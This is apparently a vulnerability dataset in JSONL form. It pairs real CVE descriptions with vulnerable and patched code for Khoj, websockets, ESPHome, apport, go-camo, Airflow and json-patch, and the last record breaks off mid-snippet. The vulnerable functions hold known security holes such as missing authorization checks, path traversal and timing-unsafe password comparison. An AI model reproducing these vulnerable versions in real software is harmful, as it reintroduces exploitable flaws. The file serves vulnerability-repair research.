{"cve_id": "CVE-2024-52294", "cve_description": "Khoj is a self-hostable artificial intelligence app. Prior to version 1.29.10, an Insecure Direct Object Reference (IDOR) vulnerability in the update_subscription endpoint allows any authenticated user to manipulate other users' Stripe subscriptions by simply modifying the email parameter in the request. The vulnerability exists in the subscription endpoint at `/api/subscription`. The endpoint uses an email parameter as a direct reference to user subscriptions without verifying object ownership. While authentication is required, there is no authorization check to verify if the authenticated user owns the referenced subscription. The issue was fixed in version 1.29.10. Support for arbitrarily presenting an email for update has been deprecated.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/khoj-ai/khoj", "patch_url": ["https://github.com/khoj-ai/khoj/commit/47d3c8c23597900af708bdc60aced3ae5d2064c1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_286_1", "commit": "d702710", "file_path": "src/khoj/routers/api_subscription.py", "start_line": 97, "end_line": 120, "snippet": "async def update_subscription(request: Request, email: str, operation: str):\n    # Retrieve the customer's details\n    customers = stripe.Customer.list(email=email).auto_paging_iter()\n    customer = next(customers, None)\n    if customer is None:\n        return {\"success\": False, \"message\": \"Customer not found\"}\n\n    if operation == \"cancel\":\n        customer_id = customer.id\n        for subscription in stripe.Subscription.list(customer=customer_id):\n            stripe.Subscription.modify(subscription.id, cancel_at_period_end=True)\n        return {\"success\": True}\n\n    elif operation == \"resubscribe\":\n        subscriptions = stripe.Subscription.list(customer=customer.id).auto_paging_iter()\n        # Find the subscription that is set to cancel at the end of the period\n        for subscription in subscriptions:\n            if subscription.cancel_at_period_end:\n                # Update the subscription to not cancel at the end of the period\n                stripe.Subscription.modify(subscription.id, cancel_at_period_end=False)\n                return {\"success\": True}\n        return {\"success\": False, \"message\": \"No subscription found that is set to cancel\"}\n\n    return {\"success\": False, \"message\": \"Invalid operation\"}"}], "fix_func": [{"id": "fix_py_286_1", "commit": "47d3c8c23597900af708bdc60aced3ae5d2064c1", "file_path": "src/khoj/routers/api_subscription.py", "start_line": 97, "end_line": 121, "snippet": "async def update_subscription(request: Request, operation: str):\n    # Retrieve the customer's details\n    email = request.user.object.email\n    customers = stripe.Customer.list(email=email).auto_paging_iter()\n    customer = next(customers, None)\n    if customer is None:\n        return {\"success\": False, \"message\": \"Customer not found\"}\n\n    if operation == \"cancel\":\n        customer_id = customer.id\n        for subscription in stripe.Subscription.list(customer=customer_id):\n            stripe.Subscription.modify(subscription.id, cancel_at_period_end=True)\n        return {\"success\": True}\n\n    elif operation == \"resubscribe\":\n        subscriptions = stripe.Subscription.list(customer=customer.id).auto_paging_iter()\n        # Find the subscription that is set to cancel at the end of the period\n        for subscription in subscriptions:\n            if subscription.cancel_at_period_end:\n                # Update the subscription to not cancel at the end of the period\n                stripe.Subscription.modify(subscription.id, cancel_at_period_end=False)\n                return {\"success\": True}\n        return {\"success\": False, \"message\": \"No subscription found that is set to cancel\"}\n\n    return {\"success\": False, \"message\": \"Invalid operation\"}"}], "vul_patch": "--- a/src/khoj/routers/api_subscription.py\n+++ b/src/khoj/routers/api_subscription.py\n@@ -1,5 +1,6 @@\n-async def update_subscription(request: Request, email: str, operation: str):\n+async def update_subscription(request: Request, operation: str):\n     # Retrieve the customer's details\n+    email = request.user.object.email\n     customers = stripe.Customer.list(email=email).auto_paging_iter()\n     customer = next(customers, None)\n     if customer is None:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-33880", "cve_description": "The aaugustin websockets library before 9.1 for Python has an Observable Timing Discrepancy on servers when HTTP Basic Authentication is enabled with basic_auth_protocol_factory(credentials=...). An attacker may be able to guess a password via a timing attack.", "cwe_info": {"CWE-203": {"name": "Observable Discrepancy", "description": "The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not."}}, "repo": "https://github.com/aaugustin/websockets", "patch_url": ["https://github.com/aaugustin/websockets/commit/547a26b685d08cac0aa64e5e65f7867ac0ea9bc0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_418_1", "commit": "a14226a", "file_path": "src/websockets/legacy/auth.py", "start_line": 86, "end_line": 162, "snippet": "def basic_auth_protocol_factory(\n    realm: str,\n    credentials: Optional[Union[Credentials, Iterable[Credentials]]] = None,\n    check_credentials: Optional[Callable[[str, str], Awaitable[bool]]] = None,\n    create_protocol: Optional[Callable[[Any], BasicAuthWebSocketServerProtocol]] = None,\n) -> Callable[[Any], BasicAuthWebSocketServerProtocol]:\n    \"\"\"\n    Protocol factory that enforces HTTP Basic Auth.\n\n    ``basic_auth_protocol_factory`` is designed to integrate with\n    :func:`~websockets.legacy.server.serve` like this::\n\n        websockets.serve(\n            ...,\n            create_protocol=websockets.basic_auth_protocol_factory(\n                realm=\"my dev server\",\n                credentials=(\"hello\", \"iloveyou\"),\n            )\n        )\n\n    ``realm`` indicates the scope of protection. It should contain only ASCII\n    characters because the encoding of non-ASCII characters is undefined.\n    Refer to section 2.2 of :rfc:`7235` for details.\n\n    ``credentials`` defines hard coded authorized credentials. It can be a\n    ``(username, password)`` pair or a list of such pairs.\n\n    ``check_credentials`` defines a coroutine that checks whether credentials\n    are authorized. This coroutine receives ``username`` and ``password``\n    arguments and returns a :class:`bool`.\n\n    One of ``credentials`` or ``check_credentials`` must be provided but not\n    both.\n\n    By default, ``basic_auth_protocol_factory`` creates a factory for building\n    :class:`BasicAuthWebSocketServerProtocol` instances. You can override this\n    with the ``create_protocol`` parameter.\n\n    :param realm: scope of protection\n    :param credentials: hard coded credentials\n    :param check_credentials: coroutine that verifies credentials\n    :raises TypeError: if the credentials argument has the wrong type\n\n    \"\"\"\n    if (credentials is None) == (check_credentials is None):\n        raise TypeError(\"provide either credentials or check_credentials\")\n\n    if credentials is not None:\n        if is_credentials(credentials):\n\n            async def check_credentials(username: str, password: str) -> bool:\n                return (username, password) == credentials\n\n        elif isinstance(credentials, Iterable):\n            credentials_list = list(credentials)\n            if all(is_credentials(item) for item in credentials_list):\n                credentials_dict = dict(credentials_list)\n\n                async def check_credentials(username: str, password: str) -> bool:\n                    return credentials_dict.get(username) == password\n\n            else:\n                raise TypeError(f\"invalid credentials argument: {credentials}\")\n\n        else:\n            raise TypeError(f\"invalid credentials argument: {credentials}\")\n\n    if create_protocol is None:\n        # Not sure why mypy cannot figure this out.\n        create_protocol = cast(\n            Callable[[Any], BasicAuthWebSocketServerProtocol],\n            BasicAuthWebSocketServerProtocol,\n        )\n\n    return functools.partial(\n        create_protocol, realm=realm, check_credentials=check_credentials\n    )"}], "fix_func": [{"id": "fix_py_418_1", "commit": "547a26b685d08cac0aa64e5e65f7867ac0ea9bc0", "file_path": "src/websockets/legacy/auth.py", "start_line": 87, "end_line": 164, "snippet": "def basic_auth_protocol_factory(\n    realm: str,\n    credentials: Optional[Union[Credentials, Iterable[Credentials]]] = None,\n    check_credentials: Optional[Callable[[str, str], Awaitable[bool]]] = None,\n    create_protocol: Optional[Callable[[Any], BasicAuthWebSocketServerProtocol]] = None,\n) -> Callable[[Any], BasicAuthWebSocketServerProtocol]:\n    \"\"\"\n    Protocol factory that enforces HTTP Basic Auth.\n\n    ``basic_auth_protocol_factory`` is designed to integrate with\n    :func:`~websockets.legacy.server.serve` like this::\n\n        websockets.serve(\n            ...,\n            create_protocol=websockets.basic_auth_protocol_factory(\n                realm=\"my dev server\",\n                credentials=(\"hello\", \"iloveyou\"),\n            )\n        )\n\n    ``realm`` indicates the scope of protection. It should contain only ASCII\n    characters because the encoding of non-ASCII characters is undefined.\n    Refer to section 2.2 of :rfc:`7235` for details.\n\n    ``credentials`` defines hard coded authorized credentials. It can be a\n    ``(username, password)`` pair or a list of such pairs.\n\n    ``check_credentials`` defines a coroutine that checks whether credentials\n    are authorized. This coroutine receives ``username`` and ``password``\n    arguments and returns a :class:`bool`.\n\n    One of ``credentials`` or ``check_credentials`` must be provided but not\n    both.\n\n    By default, ``basic_auth_protocol_factory`` creates a factory for building\n    :class:`BasicAuthWebSocketServerProtocol` instances. You can override this\n    with the ``create_protocol`` parameter.\n\n    :param realm: scope of protection\n    :param credentials: hard coded credentials\n    :param check_credentials: coroutine that verifies credentials\n    :raises TypeError: if the credentials argument has the wrong type\n\n    \"\"\"\n    if (credentials is None) == (check_credentials is None):\n        raise TypeError(\"provide either credentials or check_credentials\")\n\n    if credentials is not None:\n        if is_credentials(credentials):\n            credentials_list = [cast(Credentials, credentials)]\n        elif isinstance(credentials, Iterable):\n            credentials_list = list(credentials)\n            if not all(is_credentials(item) for item in credentials_list):\n                raise TypeError(f\"invalid credentials argument: {credentials}\")\n        else:\n            raise TypeError(f\"invalid credentials argument: {credentials}\")\n\n        credentials_dict = dict(credentials_list)\n\n        async def check_credentials(username: str, password: str) -> bool:\n            try:\n                expected_password = credentials_dict[username]\n            except KeyError:\n                return False\n            return hmac.compare_digest(expected_password, password)\n\n    if create_protocol is None:\n        # Not sure why mypy cannot figure this out.\n        create_protocol = cast(\n            Callable[[Any], BasicAuthWebSocketServerProtocol],\n            BasicAuthWebSocketServerProtocol,\n        )\n\n    return functools.partial(\n        create_protocol,\n        realm=realm,\n        check_credentials=check_credentials,\n    )"}], "vul_patch": "--- a/src/websockets/legacy/auth.py\n+++ b/src/websockets/legacy/auth.py\n@@ -47,23 +47,22 @@\n \n     if credentials is not None:\n         if is_credentials(credentials):\n-\n-            async def check_credentials(username: str, password: str) -> bool:\n-                return (username, password) == credentials\n-\n+            credentials_list = [cast(Credentials, credentials)]\n         elif isinstance(credentials, Iterable):\n             credentials_list = list(credentials)\n-            if all(is_credentials(item) for item in credentials_list):\n-                credentials_dict = dict(credentials_list)\n-\n-                async def check_credentials(username: str, password: str) -> bool:\n-                    return credentials_dict.get(username) == password\n-\n-            else:\n+            if not all(is_credentials(item) for item in credentials_list):\n                 raise TypeError(f\"invalid credentials argument: {credentials}\")\n-\n         else:\n             raise TypeError(f\"invalid credentials argument: {credentials}\")\n+\n+        credentials_dict = dict(credentials_list)\n+\n+        async def check_credentials(username: str, password: str) -> bool:\n+            try:\n+                expected_password = credentials_dict[username]\n+            except KeyError:\n+                return False\n+            return hmac.compare_digest(expected_password, password)\n \n     if create_protocol is None:\n         # Not sure why mypy cannot figure this out.\n@@ -73,5 +72,7 @@\n         )\n \n     return functools.partial(\n-        create_protocol, realm=realm, check_credentials=check_credentials\n+        create_protocol,\n+        realm=realm,\n+        check_credentials=check_credentials,\n     )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-27081", "cve_description": "ESPHome is a system to control your ESP8266/ESP32. A security misconfiguration in the edit configuration file API in the dashboard component of ESPHome version 2023.12.9 (command line installation) allows authenticated remote attackers to read and write arbitrary files under the configuration directory rendering remote code execution possible.  This vulnerability is patched in 2024.2.1.\n", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/esphome/esphome", "patch_url": ["https://github.com/esphome/esphome/commit/d814ed1d4adc71fde47c4df41215bee449884513"], "programing_language": "Python", "vul_func": [{"id": "vul_py_152_1", "commit": "84c6e52", "file_path": "esphome/dashboard/web_server.py", "start_line": 807, "end_line": 815, "snippet": "    async def get(self, configuration: str | None = None) -> None:\n        \"\"\"Get the content of a file.\"\"\"\n        loop = asyncio.get_running_loop()\n        filename = settings.rel_path(configuration)\n        content = await loop.run_in_executor(\n            None, self._read_file, filename, configuration\n        )\n        if content is not None:\n            self.write(content)"}, {"id": "vul_py_152_2", "commit": "84c6e52", "file_path": "esphome/dashboard/web_server.py", "start_line": 834, "end_line": 843, "snippet": "    async def post(self, configuration: str | None = None) -> None:\n        \"\"\"Write the content of a file.\"\"\"\n        loop = asyncio.get_running_loop()\n        config_file = settings.rel_path(configuration)\n        await loop.run_in_executor(\n            None, self._write_file, config_file, self.request.body\n        )\n        # Ensure the StorageJSON is updated as well\n        DASHBOARD.entries.async_schedule_storage_json_update(filename)\n        self.set_status(200)"}], "fix_func": [{"id": "fix_py_152_1", "commit": "d814ed1", "file_path": "esphome/dashboard/web_server.py", "start_line": 807, "end_line": 823, "snippet": "    async def get(self, configuration: str | None = None) -> None:\n        \"\"\"Get the content of a file.\"\"\"\n        if not configuration.endswith((\".yaml\", \".yml\")):\n            self.send_error(404)\n            return\n\n        filename = settings.rel_path(configuration)\n        if Path(filename).resolve().parent != settings.absolute_config_dir:\n            self.send_error(404)\n            return\n\n        loop = asyncio.get_running_loop()\n        content = await loop.run_in_executor(\n            None, self._read_file, filename, configuration\n        )\n        if content is not None:\n            self.write(content)"}, {"id": "fix_py_152_2", "commit": "d814ed1", "file_path": "esphome/dashboard/web_server.py", "start_line": 842, "end_line": 857, "snippet": "    async def post(self, configuration: str | None = None) -> None:\n        \"\"\"Write the content of a file.\"\"\"\n        if not configuration.endswith((\".yaml\", \".yml\")):\n            self.send_error(404)\n            return\n\n        filename = settings.rel_path(configuration)\n        if Path(filename).resolve().parent != settings.absolute_config_dir:\n            self.send_error(404)\n            return\n\n        loop = asyncio.get_running_loop()\n        await loop.run_in_executor(None, self._write_file, filename, self.request.body)\n        # Ensure the StorageJSON is updated as well\n        DASHBOARD.entries.async_schedule_storage_json_update(filename)\n        self.set_status(200)"}], "vul_patch": "--- a/esphome/dashboard/web_server.py\n+++ b/esphome/dashboard/web_server.py\n@@ -1,7 +1,15 @@\n     async def get(self, configuration: str | None = None) -> None:\n         \"\"\"Get the content of a file.\"\"\"\n+        if not configuration.endswith((\".yaml\", \".yml\")):\n+            self.send_error(404)\n+            return\n+\n+        filename = settings.rel_path(configuration)\n+        if Path(filename).resolve().parent != settings.absolute_config_dir:\n+            self.send_error(404)\n+            return\n+\n         loop = asyncio.get_running_loop()\n-        filename = settings.rel_path(configuration)\n         content = await loop.run_in_executor(\n             None, self._read_file, filename, configuration\n         )\n\n--- a/esphome/dashboard/web_server.py\n+++ b/esphome/dashboard/web_server.py\n@@ -1,10 +1,16 @@\n     async def post(self, configuration: str | None = None) -> None:\n         \"\"\"Write the content of a file.\"\"\"\n+        if not configuration.endswith((\".yaml\", \".yml\")):\n+            self.send_error(404)\n+            return\n+\n+        filename = settings.rel_path(configuration)\n+        if Path(filename).resolve().parent != settings.absolute_config_dir:\n+            self.send_error(404)\n+            return\n+\n         loop = asyncio.get_running_loop()\n-        config_file = settings.rel_path(configuration)\n-        await loop.run_in_executor(\n-            None, self._write_file, config_file, self.request.body\n-        )\n+        await loop.run_in_executor(None, self._write_file, filename, self.request.body)\n         # Ensure the StorageJSON is updated as well\n         DASHBOARD.entries.async_schedule_storage_json_update(filename)\n         self.set_status(200)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-1326", "cve_description": "A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/canonical/apport", "patch_url": ["https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_227_1", "commit": "ee3e896", "file_path": "apport/ui.py", "start_line": 122, "end_line": 152, "snippet": "def run_as_real_user(args: list[str]) -> None:\n    \"\"\"Call subprocess.run as real user if called via sudo/pkexec.\n\n    If we are called through pkexec/sudo, determine the real user ID and\n    run the command with it to get the user's web browser settings.\n    \"\"\"\n    uid = _get_env_int(\"SUDO_UID\", _get_env_int(\"PKEXEC_UID\"))\n    if uid is None or not get_process_user_and_group().is_root():\n        subprocess.run(args, check=False)\n        return\n\n    pwuid = pwd.getpwuid(uid)\n\n    gid = _get_env_int(\"SUDO_GID\")\n    if gid is None:\n        gid = pwuid.pw_gid\n\n    env = {\n        k: v\n        for k, v in os.environ.items()\n        if not k.startswith(\"SUDO_\") and k != \"PKEXEC_UID\"\n    } | _get_users_environ(uid)\n    env[\"HOME\"] = pwuid.pw_dir\n    subprocess.run(\n        args,\n        check=False,\n        env=env,\n        user=uid,\n        group=gid,\n        extra_groups=os.getgrouplist(pwuid.pw_name, gid),\n    )"}, {"id": "vul_py_227_2", "commit": "ee3e896", "file_path": "bin/apport-cli", "start_line": 184, "end_line": 200, "snippet": "    def ui_update_view(self, stdout=None):\n        self.in_update_view = True\n        report = self._get_details()\n        try:\n            subprocess.run(\n                [\"/usr/bin/sensible-pager\"],\n                check=False,\n                input=report.encode(\"UTF-8\"),\n                stdout=stdout,\n            )\n        except OSError as error:\n            # ignore broken pipe (premature quit)\n            if error.errno == errno.EPIPE:\n                pass\n            else:\n                raise\n        self.in_update_view = False"}], "fix_func": [{"id": "fix_py_227_1", "commit": "e5f78cc", "file_path": "apport/ui.py", "start_line": 122, "end_line": 159, "snippet": "def run_as_real_user(\n    args: list[str], *, get_user_env: bool = False, **kwargs\n) -> None:\n    \"\"\"Call subprocess.run as real user if called via sudo/pkexec.\n\n    If we are called through pkexec/sudo, determine the real user ID and\n    run the command with it to get the user's web browser settings.\n    If get_user_env is set to True, the D-BUS address and XDG_DATA_DIRS\n    is grabbed from a running gvfsd and added to the process environment.\n    \"\"\"\n    uid = _get_env_int(\"SUDO_UID\", _get_env_int(\"PKEXEC_UID\"))\n    if uid is None or not get_process_user_and_group().is_root():\n        subprocess.run(args, check=False, **kwargs)\n        return\n\n    pwuid = pwd.getpwuid(uid)\n\n    gid = _get_env_int(\"SUDO_GID\")\n    if gid is None:\n        gid = pwuid.pw_gid\n\n    env = {\n        k: v\n        for k, v in os.environ.items()\n        if not k.startswith(\"SUDO_\") and k != \"PKEXEC_UID\"\n    }\n    if get_user_env:\n        env |= _get_users_environ(uid)\n    env[\"HOME\"] = pwuid.pw_dir\n    subprocess.run(\n        args,\n        check=False,\n        env=env,\n        user=uid,\n        group=gid,\n        extra_groups=os.getgrouplist(pwuid.pw_name, gid),\n        **kwargs,\n    )"}, {"id": "fix_py_227_2", "commit": "e5f78cc", "file_path": "bin/apport-cli", "start_line": 184, "end_line": 199, "snippet": "    def ui_update_view(self, stdout=None):\n        self.in_update_view = True\n        report = self._get_details()\n        try:\n            apport.ui.run_as_real_user(\n                [\"/usr/bin/sensible-pager\"],\n                input=report.encode(\"UTF-8\"),\n                stdout=stdout,\n            )\n        except OSError as error:\n            # ignore broken pipe (premature quit)\n            if error.errno == errno.EPIPE:\n                pass\n            else:\n                raise\n        self.in_update_view = False"}], "vul_patch": "--- a/apport/ui.py\n+++ b/apport/ui.py\n@@ -1,12 +1,16 @@\n-def run_as_real_user(args: list[str]) -> None:\n+def run_as_real_user(\n+    args: list[str], *, get_user_env: bool = False, **kwargs\n+) -> None:\n     \"\"\"Call subprocess.run as real user if called via sudo/pkexec.\n \n     If we are called through pkexec/sudo, determine the real user ID and\n     run the command with it to get the user's web browser settings.\n+    If get_user_env is set to True, the D-BUS address and XDG_DATA_DIRS\n+    is grabbed from a running gvfsd and added to the process environment.\n     \"\"\"\n     uid = _get_env_int(\"SUDO_UID\", _get_env_int(\"PKEXEC_UID\"))\n     if uid is None or not get_process_user_and_group().is_root():\n-        subprocess.run(args, check=False)\n+        subprocess.run(args, check=False, **kwargs)\n         return\n \n     pwuid = pwd.getpwuid(uid)\n@@ -19,7 +23,9 @@\n         k: v\n         for k, v in os.environ.items()\n         if not k.startswith(\"SUDO_\") and k != \"PKEXEC_UID\"\n-    } | _get_users_environ(uid)\n+    }\n+    if get_user_env:\n+        env |= _get_users_environ(uid)\n     env[\"HOME\"] = pwuid.pw_dir\n     subprocess.run(\n         args,\n@@ -28,4 +34,5 @@\n         user=uid,\n         group=gid,\n         extra_groups=os.getgrouplist(pwuid.pw_name, gid),\n+        **kwargs,\n     )\n\n--- a/bin/apport-cli\n+++ b/bin/apport-cli\n@@ -2,9 +2,8 @@\n         self.in_update_view = True\n         report = self._get_details()\n         try:\n-            subprocess.run(\n+            apport.ui.run_as_real_user(\n                 [\"/usr/bin/sensible-pager\"],\n-                check=False,\n                 input=report.encode(\"UTF-8\"),\n                 stdout=stdout,\n             )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-14255", "cve_description": "A Server Side Request Forgery (SSRF) vulnerability in go-camo up to version 1.1.4 allows a remote attacker to perform HTTP requests to internal endpoints.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/cactus/go-camo", "patch_url": ["https://github.com/cactus/go-camo/commit/77c86db145869cc2d1985644b4232356e3a6076e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_102_1", "commit": "b1a0717", "file_path": "pkg/router/router.go", "start_line": 37, "end_line": 62, "snippet": "func (dr *DumbRouter) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\t// set some default headers\n\tdr.SetHeaders(w)\n\n\tif r.Method != \"HEAD\" && r.Method != \"GET\" {\n\t\thttp.Error(w, \"Method Not Allowed\", 405)\n\t}\n\n\tcomponents := strings.Split(r.URL.Path, \"/\")\n\tif len(components) == 3 {\n\t\tdr.CamoHandler.ServeHTTP(w, r)\n\t\treturn\n\t}\n\n\tif r.URL.Path == \"/healthcheck\" {\n\t\tdr.HealthCheckHandler(w, r)\n\t\treturn\n\t}\n\n\tif dr.StatsHandler != nil && r.URL.Path == \"/status\" {\n\t\tdr.StatsHandler(w, r)\n\t\treturn\n\t}\n\n\thttp.Error(w, \"404 Not Found\", 404)\n}"}], "fix_func": [{"id": "fix_go_102_1", "commit": "77c86db", "file_path": "pkg/router/router.go", "start_line": 37, "end_line": 63, "snippet": "func (dr *DumbRouter) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\t// set some default headers\n\tdr.SetHeaders(w)\n\n\tif r.Method != \"HEAD\" && r.Method != \"GET\" {\n\t\thttp.Error(w, \"Method Not Allowed\", 405)\n\t\treturn\n\t}\n\n\tcomponents := strings.Split(r.URL.Path, \"/\")\n\tif len(components) == 3 {\n\t\tdr.CamoHandler.ServeHTTP(w, r)\n\t\treturn\n\t}\n\n\tif r.URL.Path == \"/healthcheck\" {\n\t\tdr.HealthCheckHandler(w, r)\n\t\treturn\n\t}\n\n\tif dr.StatsHandler != nil && r.URL.Path == \"/status\" {\n\t\tdr.StatsHandler(w, r)\n\t\treturn\n\t}\n\n\thttp.Error(w, \"404 Not Found\", 404)\n}"}], "vul_patch": "--- a/pkg/router/router.go\n+++ b/pkg/router/router.go\n@@ -4,6 +4,7 @@\n \n \tif r.Method != \"HEAD\" && r.Method != \"GET\" {\n \t\thttp.Error(w, \"Method Not Allowed\", 405)\n+\t\treturn\n \t}\n \n \tcomponents := strings.Split(r.URL.Path, \"/\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-50944", "cve_description": "Apache Airflow, versions before 2.8.1, have a vulnerability that allows an authenticated user to access the source code of a DAG to which they don't have access.\u00a0This vulnerability is considered low since it requires an authenticated user to exploit it. Users are recommended to upgrade to version 2.8.1, which fixes this issue.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/8d76538d6e105947272b000581c6fabec20146b1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_308_1", "commit": "1180255", "file_path": "airflow/api_connexion/endpoints/dag_source_endpoint.py", "start_line": 32, "end_line": 48, "snippet": "def get_dag_source(*, file_token: str) -> Response:\n    \"\"\"Get source code using file token.\"\"\"\n    secret_key = current_app.config[\"SECRET_KEY\"]\n    auth_s = URLSafeSerializer(secret_key)\n    try:\n        path = auth_s.loads(file_token)\n        dag_source = DagCode.code(path)\n    except (BadSignature, FileNotFoundError):\n        raise NotFound(\"Dag source not found\")\n\n    return_type = request.accept_mimetypes.best_match([\"text/plain\", \"application/json\"])\n    if return_type == \"text/plain\":\n        return Response(dag_source, headers={\"Content-Type\": return_type})\n    if return_type == \"application/json\":\n        content = dag_source_schema.dumps({\"content\": dag_source})\n        return Response(content, headers={\"Content-Type\": return_type})\n    return Response(\"Not Allowed Accept Header\", status=HTTPStatus.NOT_ACCEPTABLE)"}, {"id": "vul_py_308_2", "commit": "1180255", "file_path": "airflow/models/dagcode.py", "start_line": 180, "end_line": 185, "snippet": "    def code(cls, fileloc) -> str:\n        \"\"\"Return source code for this DagCode object.\n\n        :return: source code as string\n        \"\"\"\n        return cls._get_code_from_db(fileloc)"}], "fix_func": [{"id": "fix_py_308_1", "commit": "8d76538d6e105947272b000581c6fabec20146b1", "file_path": "airflow/api_connexion/endpoints/dag_source_endpoint.py", "start_line": 39, "end_line": 61, "snippet": "@provide_session\ndef get_dag_source(*, file_token: str, session: Session = NEW_SESSION) -> Response:\n    \"\"\"Get source code using file token.\"\"\"\n    secret_key = current_app.config[\"SECRET_KEY\"]\n    auth_s = URLSafeSerializer(secret_key)\n    try:\n        path = auth_s.loads(file_token)\n        dag_ids = session.query(DagModel.dag_id).filter(DagModel.fileloc == path).all()\n        readable_dags = get_readable_dags()\n        # Check if user has read access to all the DAGs defined in the file\n        if any(dag_id[0] not in readable_dags for dag_id in dag_ids):\n            raise PermissionDenied()\n        dag_source = DagCode.code(path, session=session)\n    except (BadSignature, FileNotFoundError):\n        raise NotFound(\"Dag source not found\")\n\n    return_type = request.accept_mimetypes.best_match([\"text/plain\", \"application/json\"])\n    if return_type == \"text/plain\":\n        return Response(dag_source, headers={\"Content-Type\": return_type})\n    if return_type == \"application/json\":\n        content = dag_source_schema.dumps({\"content\": dag_source})\n        return Response(content, headers={\"Content-Type\": return_type})\n    return Response(\"Not Allowed Accept Header\", status=HTTPStatus.NOT_ACCEPTABLE)"}, {"id": "fix_py_308_2", "commit": "8d76538d6e105947272b000581c6fabec20146b1", "file_path": "airflow/models/dagcode.py", "start_line": 180, "end_line": 186, "snippet": "    @provide_session\n    def code(cls, fileloc, session: Session = NEW_SESSION) -> str:\n        \"\"\"Return source code for this DagCode object.\n\n        :return: source code as string\n        \"\"\"\n        return cls._get_code_from_db(fileloc, session)"}], "vul_patch": "--- a/airflow/api_connexion/endpoints/dag_source_endpoint.py\n+++ b/airflow/api_connexion/endpoints/dag_source_endpoint.py\n@@ -1,10 +1,16 @@\n-def get_dag_source(*, file_token: str) -> Response:\n+@provide_session\n+def get_dag_source(*, file_token: str, session: Session = NEW_SESSION) -> Response:\n     \"\"\"Get source code using file token.\"\"\"\n     secret_key = current_app.config[\"SECRET_KEY\"]\n     auth_s = URLSafeSerializer(secret_key)\n     try:\n         path = auth_s.loads(file_token)\n-        dag_source = DagCode.code(path)\n+        dag_ids = session.query(DagModel.dag_id).filter(DagModel.fileloc == path).all()\n+        readable_dags = get_readable_dags()\n+        # Check if user has read access to all the DAGs defined in the file\n+        if any(dag_id[0] not in readable_dags for dag_id in dag_ids):\n+            raise PermissionDenied()\n+        dag_source = DagCode.code(path, session=session)\n     except (BadSignature, FileNotFoundError):\n         raise NotFound(\"Dag source not found\")\n \n\n--- a/airflow/models/dagcode.py\n+++ b/airflow/models/dagcode.py\n@@ -1,6 +1,7 @@\n-    def code(cls, fileloc) -> str:\n+    @provide_session\n+    def code(cls, fileloc, session: Session = NEW_SESSION) -> str:\n         \"\"\"Return source code for this DagCode object.\n \n         :return: source code as string\n         \"\"\"\n-        return cls._get_code_from_db(fileloc)\n+        return cls._get_code_from_db(fileloc, session)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-14632", "cve_description": "An out of bound write can occur when patching an Openshift object using the 'oc patch' functionality in OpenShift Container Platform before 3.7. An attacker can use this flaw to cause a denial of service attack on the Openshift master api service which provides cluster management.", "cwe_info": {"CWE-787": {"name": "Out-of-bounds Write", "description": "The product writes data past the end, or before the beginning, of the intended buffer."}}, "repo": "https://github.com/evanphx/json-patch", "patch_url": ["https://github.com/evanphx/json-patch/commit/4c9aadca8f89e349c999f04e28199e96e81aba03#diff-65c563bba473be9d94ce4d033f74810e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_292_1", "commit": "9f095e0732475147cbb029ffd99634b386d06651", "file_path": "patch.go", "start_line": 377, "end_line": 407, "snippet": "func (d *partialArray) add(key string, val *lazyNode) error {\n\tif key == \"-\" {\n\t\t*d = append(*d, val)\n\t\treturn nil\n\t}\n\n\tidx, err := strconv.Atoi(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tary := make([]*lazyNode, len(*d)+1)\n\n\tcur := *d\n\n\tif idx < 0 {\n\t\tidx *= -1\n\n\t\tif idx > len(ary) {\n\t\t\treturn fmt.Errorf(\"Unable to access invalid index: %d\", idx)\n\t\t}\n\t\tidx = len(ary) - idx\n\t}\n\n\tcopy(ary[0:idx], cur[0:idx])\n\tary[idx] = 